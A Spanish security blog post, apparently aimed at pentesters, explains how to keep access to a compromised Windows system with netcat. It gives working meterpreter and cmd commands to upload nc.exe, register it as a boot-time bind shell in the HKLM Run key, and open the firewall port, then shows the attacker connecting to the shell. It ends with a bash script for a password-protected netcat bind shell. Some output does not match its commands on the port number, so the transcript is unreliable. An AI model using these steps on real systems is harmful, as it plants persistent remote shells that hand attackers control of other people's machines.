31 enero, 2015 Alberto

Manteniendo el acceso con puertas traseras [1 de 2]

Puerta trasera

Una vez comprometido un sistema hay veces que se necesita garantizar el acceso en el futuro por muchos motivos.  Porque se actualiza la vulnerabilidad con la que se ha comprometido el sistema, porque se necesita acceder más rápidamente si estamos en un entorno de pentest, etc.

Para ello existen una serie de herramientas (sin entrar a hablar de troyanos o aplicaciones RAT) que permiten crear una comunicación cliente a servidor, entre el equipo comprometido y el equipo atacante.

La primera de ellas es un clásico, netcat.  La famosa navaja suiza de los hackers.  Entre las innumerables aplicaciones que tiene esta herramienta se puede utilizar como un servidor ejecutando la consola en el equipo comprometido.

Netcat se puede descargar desde aquí.

El primer paso es subir la herramienta, en este caso el ejecutable «nc.exe», al equipo comprometido.

En este ejemplo se realiza a través de una sesión de meterpreter (en futuras entradas hablaré de meterpreter y metasploit).

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /tmp/nc.exe -> C:\windows\system32
[*] uploaded   : /tmp/nc.exe -> C:\windows\system32\nc.exe

Una vez el ejecutable está subido en el sistema el siguiente paso es introducirlo en el arranque del sistema para que se ejecute cada vez que el equipo se encienda.  En este ejemplo se realiza a través del registro de Windows añadiéndolo a la clave «HKLM\\software\\microsoft\\windows\\currentversion\\run»

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (3):

    VMware Tools
    VMware User Process
    quicktftpserver

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe'
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe

Observar el detalle de cómo se ejecuta netcat. Con el parámetro -Ldp 4444 se le indica que escuche en el puerto local número 4444 y con el parámetro -e cmd.exe se le indica que ejecute la consola del sistema.

nc.exe -Ldp 4444 -e cmd.exe

El tercer paso es abrir el puerto en el cortafuegos, en este caso el cortafuegos de Windows, para que la herramienta, netcat, se pueda comunicar con el exterior. Para ello desde la consola «cmd» se invoca la herramienta «netsh«.

meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Alberto\My Documents > netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

El comando «netsh firewall add portopening TCP 4444 «Service Firewall» ENABLE ALL» abre el puerto y  «netsh firewall show portopening» muestra la configuración actual con los puertos abiertos para comprobar que se ha abierto correctamente.

C:\Documents and Settings\Alberto\My Documents > netsh firewall add portopening TCP 4444 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
Ok.

C:\Documents and Settings\Alberto\My Documents > netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
4444   TCP       Enable   Service Firewall
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

C:\Documents and Settings\Alberto\My Documents >

Por último el comando para conectarse a la puerta trasera desde el equipo atacante es «nc -v [IP sistema vulnerado] [puerto]»

root@kali:~# nc -v 172.16.104.128 4444
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [172.16.104.128] 455 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Alberto > dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Alberto

05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0 ;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes
6 Dir(s) 35,540,791,296 bytes free

C:\Documents and Settings\Alberto >

Netcat tiene tres inconvenientes principales.

El primero es que es detectado por la mayoría de firmas de antivirus.  Si se sube el archivo a virustotal se comprueba como es detectado por bastantes firmas de antivirus.

Netcat en Virustotal

Netcat analizado en Virustotal

El segundo es que netcat no cifra las comunicaciones y es posible detectar lo que se está haciendo con él.

Netcat analizado por wireshark

Netcat analizado por wireshark

Y el tercer inconveniente es que no tiene autenticación.  Una vez añadida la puerta trasera cualquiera podrá aprovecharse de ella únicamente conectándose al puerto en el que está a la escucha.  Este inconveniente se puede solucionar integrándolo en un script aparte.

El siguiente ejemplo es de un script para Linux que encontré en la web de packetstorm:

#! /bin/bash
#
ncpassword () {
NC="/bin/netcat"
PORT="999"
PASSWORD="123456"
SHELL="/bin/bash"
echo -n "Enter password: "
stty -echo
read mypass
stty echo
if [ ${mypass} = $PASSWORD ]
 then
 echo "Access granted...start netcat shell on port $PORT"
 while true; do $NC -l -p $PORT -e $SHELL; done
 else
 echo "Incorrect Password"
fi
}
ncpassword
sh $0

 

 

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies, pinche el enlace para mayor información.

ACEPTAR
Aviso de cookies